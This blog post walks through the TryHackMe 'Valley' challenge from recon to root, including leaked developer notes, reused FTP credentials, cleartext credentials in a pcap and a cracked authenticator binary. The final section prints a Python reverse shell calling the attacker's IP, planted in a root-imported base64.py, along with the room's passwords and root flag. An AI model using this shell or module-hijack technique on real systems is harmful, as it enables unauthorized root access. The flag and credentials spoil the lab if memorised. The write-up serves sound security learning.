~ / blog / tryhackme / valley

TryHackMe Valley
Complete Walkthrough: Recon to Root

The complete attack path: exposed developer notes, reused FTP credentials, a cleartext login inside a packet capture, an unpacked authenticator binary, lateral movement, and a writable Python module imported by root’s scheduled job.

Current Coverage

The complete route from service discovery through the user flag, lateral movement to valley, and a root shell.

Room / Target

TryHackMe · Valley · Linux challenge machine

Tools Used
NmapGobusterWiresharkUPXstringsPython
Key Pivots So Far
  • Reused credentials and cleartext HTTP traffic chained web access into a shell.
  • Static analysis of an unpacked binary exposed weak MD5-derived credentials for lateral movement.
  • A group-writable standard-library module was imported by a root cron job, turning Python’s import behavior into code execution.
Valley is complete.Both flags are reached, and the full reasoning chain from recon to root is preserved below.
Final status
Root shell obtained
ReconNmap, web enumeration, and the forgotten developer route.
Initial accessFTP captures, cleartext credentials, and SSH as valleyDev.
Lateral movementAuthenticator reversing and a switch to valley.
RootCron analysis, Python module hijacking, and the UID 0 callback.
01
Reconnaissance

Establish the exposed service surface

Start broad enough to find the obvious entry points before touching the application.

I began with a standard Nmap scan against the assigned room address. Of the default TCP ports tested, only 22/tcp and 80/tcp were open. That gave the investigation two immediate surfaces: SSH for a later authenticated foothold and HTTP for initial enumeration.

$ nmap 10.49.174.92
01
Attack surface

Port 80 is the only unauthenticated application surface visible in the initial scan, so the web service becomes the first practical route forward.

Nmap scan of the Valley target showing SSH on port 22 and HTTP on port 80
The initial service map is deliberately small: SSH on 22, HTTP on 80, and 998 closed ports in the default scan.
02
Content discovery

Treat static assets as enumerable content

A directory full of images can still contain operational notes and naming mistakes.

Once the site’s /static path was identified, I ran Gobuster directly against it with common.txt. The scan was noisy: many numeric paths returned large files and several requests hit the client timeout. That did not make the results useless. It made response size and manual inspection more important.

$ gobuster dir -w common.txt -u http://10.49.174.92/static

The numeric entries—particularly /00—stood out from conventional directory names. Static asset directories are often skipped after the main application paths are found, but predictable filenames can expose content that was never intended to become part of the public interface.

Gobuster scanning the Valley static directory and discovering multiple numeric resources
Gobuster finds several numeric resources under /static. The large bodies and timeouts create noise, but /00 is small enough to deserve immediate manual inspection.
03
Information disclosure

Follow the notes the developers forgot

Two public text files reveal both a human habit and a supposedly removed route.

Opening /static/00 returned plain-text development notes. Most entries were harmless content tasks, but one line was operationally valuable: remove /dev1243224123123. The presence of that instruction suggested the path had existed and might still exist.

A second file at /pricing/note.txt complained about notes being left around the website. It did not provide a credential or exploit by itself, but it confirmed a pattern: internal communication was being stored in public web content. That made the first leak much more credible.

Public Valley developer notes exposing the hidden dev1243224123123 route
/static/00 names the development path directly. “Remove” is a task, not proof that the route was actually removed.
Public pricing note asking a colleague to stop leaving notes around the website
The pricing note reinforces the disclosure pattern: internal notes are repeatedly being deployed with the public site.

The leaked path remained accessible and presented a Valley Photo Co. Dev Login. At this point, brute-forcing the form would have been premature. A development login implemented as a static page is a strong reason to inspect its JavaScript first.

Valley Photo Company developer login page at the leaked development path
The supposedly removed development route is live. Before sending credentials anywhere, the next move is to inspect how this page decides whether a login is valid.
04
Source inspection

The browser already has the answer

Client-side authentication exposes both the credentials and the protected destination.

The page source referenced dev.js. Inside it, the login button handler compared the submitted values against hard-coded strings. The same conditional also revealed the redirect target that would be loaded after a successful match.

UsernamesiemDev
Passwordcalifornia
02
Trust boundary failure

The application sends the valid credentials and protected location to every visitor. Because the check happens in JavaScript, the login is only a user-interface gate—not server-side access control.

Valley dev.js source showing the hard-coded siemDev and california credentials and redirect to a developer notes file
dev.js contains the complete decision: siemDev / california is accepted, then the browser is sent to devNotes37370.txt.
05
Service pivot

Turn the developer note into testable hypotheses

Credential reuse and an unusual FTP port become the two strongest leads.

The destination exposed by the JavaScript contained notes for an FTP server. Two lines matter more than the generic patching reminders: stop reusing credentials and change FTP port to normal port.

Those clues suggest that the FTP service may reuse credentials found elsewhere and may be listening outside its conventional port. The initial Nmap scan did not expose FTP on 21/tcp, which is consistent with the note, while the developer-note filename itself provides a focused port candidate for direct validation.

Valley developer notes warning about reused credentials and an FTP server running on a nonstandard port
The internal notes warn about credential reuse and say FTP should be moved back to its normal port. Both statements can be converted into focused enumeration.
06
FTP access

Reuse the exposed credentials on port 37370

The developer credentials work again, and the directory contains three packet captures.

The filename devNotes37370.txt provided a precise port candidate. Connecting to FTP on 37370 confirmed a vsFTPd 3.0.3 service, and the client-side credentials siemDev / california authenticated successfully. The warning about credential reuse was literal.

$ ftp 10.49.174.92 37370

The directory contained siemFTP.pcapng, siemHTTP1.pcapng, and siemHTTP2.pcapng. Packet captures are binary files, so trying to use cat inside the FTP client was not a valid way to inspect one. I downloaded siemHTTP2.pcapng with get for local analysis instead.

03
Credential reuse confirmed

The exact credentials exposed by dev.js also authenticate to FTP. One client-side disclosure has now crossed into access to a separate network service.

FTP session on port 37370 authenticated as siemDev and downloading siemHTTP2.pcapng
FTP on 37370 accepts the reused siemDev credentials. After listing the three captures, get siemHTTP2.pcapng transfers one of the HTTP captures locally.
07
Traffic analysis

Filter the capture down to submitted credentials

An HTTP form submission stores a reusable system account in cleartext.

I opened the downloaded capture in Wireshark and filtered for HTTP POST requests. This reduces a large capture to the traffic most likely to contain submitted form data.

$ wireshark siemHTTP2.pcapng
filter: http.request.method == "POST"
Terminal launching Wireshark with the downloaded siemHTTP2 packet capture
The packet capture is opened locally in Wireshark. The VMware and rendering warnings are environmental noise; the capture still loads normally.
Wireshark showing a cleartext HTTP POST with valleyDev and ph0t0s1234 form values
Filtering for POST requests exposes the form body: username valleyDev and password ph0t0s1234 were transmitted without encryption.
UsernamevalleyDev
Passwordph0t0s1234
04
Cleartext transport

The HTTP request body preserves the login fields exactly as submitted. Anyone with access to the capture can recover and reuse the credentials without cracking a hash.

08
Initial access

Convert captured credentials into an SSH foothold

The recovered account reaches the host and exposes the user flag, but has no sudo permission.

The recovered credentials worked over the SSH service found during the first scan. After logging in as valleyDev, I found user.txt in the home directory and read the user flag.

$ ssh valleyDev@10.49.174.92
valleyDev@valley:~$ cat user.txt
valleyDev@valley:~$ sudo -l

The first privilege check was sudo -l. It returned that valleyDev may not run sudo on the host, so the straightforward sudo path is closed. The next stage must move into local enumeration: users, groups, processes, scheduled tasks, writable files, capabilities, SUID binaries, and application artifacts.

SSH session as valleyDev showing user.txt and a sudo denial on the Valley host
The packet-capture credentials produce a working shell and the user flag. sudo -l immediately rules out an allowed-command escalation path for this account.
09
Binary analysis

Unpack the authenticator and recover its embedded values

A packed binary in /home contains two unsalted MD5 values and recognizable authentication strings.

Local enumeration exposed /home/valleyAuthenticator. I analyzed a copy on the attack machine, first removing its UPX packing and then extracting strings long enough to avoid most binary noise.

# upx -d valleyAuthenticator
# strings -n 10 valleyAuthenticator | grep -A 5 -B 5 Authenticator

The output placed two 32-character hexadecimal values beside the program’s prompts and success messages:

e6722920bab2326f8217e4bf6b1b58ac
dd2921cc76ee3abfd2beb60709056cfb
Welcome to Valley Inc. Authenticator
What is your username:
What is your password:
Authenticated

Their length and format suggested MD5. Resolving them produced two plaintext candidates:

e6722920bab2326f8217e4bf6b1b58acliberty123
dd2921cc76ee3abfd2beb60709056cfbvalley
05
Weak embedded secrets

Packing only obscured the binary. Once unpacked, the hashes remained directly recoverable, and unsalted MD5 offered little resistance to lookup or cracking.

10
Lateral movement

Reassemble the values as a local account

The decoded strings become username valley and password liberty123.

Testing the two decoded values against the authenticator established the usable pairing: username valley, password liberty123. From the valleyDev shell, those credentials also worked with su valley and moved the session into a second local account.

valleyDev@valley:~$ su valley
Password: liberty123
valley@valley:/home/valleyDev$ id

The new identity matters because valley belongs to the additional valleyAdmin group. It still has no sudo permission, but its group membership changes which files are writable.

Successful switch from valleyDev to valley followed by home and root filesystem enumeration
The cracked values open the valley account. Enumeration shows the authenticator in /home, the /photos directory, and another denied sudo -l check.
11
Privilege-escalation analysis

Connect a root cron job to a group-writable import

The scheduled script is not writable, but one of the Python modules it imports is.

The system crontab revealed a custom task executed by root at minute 1 of every hour:

valley@valley:~$ cat /etc/crontab
1 * * * * root python3 /photos/script/photosEncrypt.py

photosEncrypt.py reads six JPEG files, imports Python’s base64 module, encodes each image, and writes the results into /photos/photoVault. The script itself is owned by root and is not writable by the current account, so editing the cron target directly is not the path.

#!/usr/bin/python3
import base64
for i in range(1,7):
image_path = "/photos/p" + str(i) + ".jpg"
with open(image_path, "rb") as image_file:
image_data = image_file.read()
encoded_image_data = base64.b64encode(image_data)

The important permission appeared on the imported standard-library module:

valley@valley:~$ ls -al /usr/lib/python3.8/base64.py
-rwxrwxr-x 1 root valleyAdmin 20382 Mar 13 03:26 /usr/lib/python3.8/base64.py
valley@valley:~$ id
uid=1000(valley) gid=1000(valley) groups=1000(valley),1003(valleyAdmin)
06
Import trust failure

Root executes a Python program that imports a module writable by valleyAdmin. Because valley belongs to that group, code placed in base64.py will run in root’s process when the scheduled script imports it.

12
Root execution

Hijack the import and catch the root callback

The writable module becomes the execution point for code imported by root.

I added a callback to /usr/lib/python3.8/base64.py, using the VPN address of the attack machine and a listener on port 5555. In another terminal, I started the listener before the scheduled job’s next run.

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.253.48",5555))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
# rlwrap nc -lvnp 5555
Connection from 10.10.255.132 44078 received!
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
THM{v@lley_0f_th3_sh@d0w_0f_pr1v3sc}

When root’s cron job imported the modified module, the callback reached the listener as UID 0. Reading /root/root.txt returned the final flag and completed the room.

Room complete

From a forgotten web note to root through chained trust failures.

No single step carried the whole compromise. Public notes, reused credentials, unencrypted traffic, embedded MD5 secrets, and a writable imported module each supplied the next link.

Back to the lab map

TryHackMe hubAll TryHackMe Lab NotesGrowing challenge collection Another active seriesPortSwigger Authentication Labs2026-07-02 · In progress
← Back to TryHackMe labs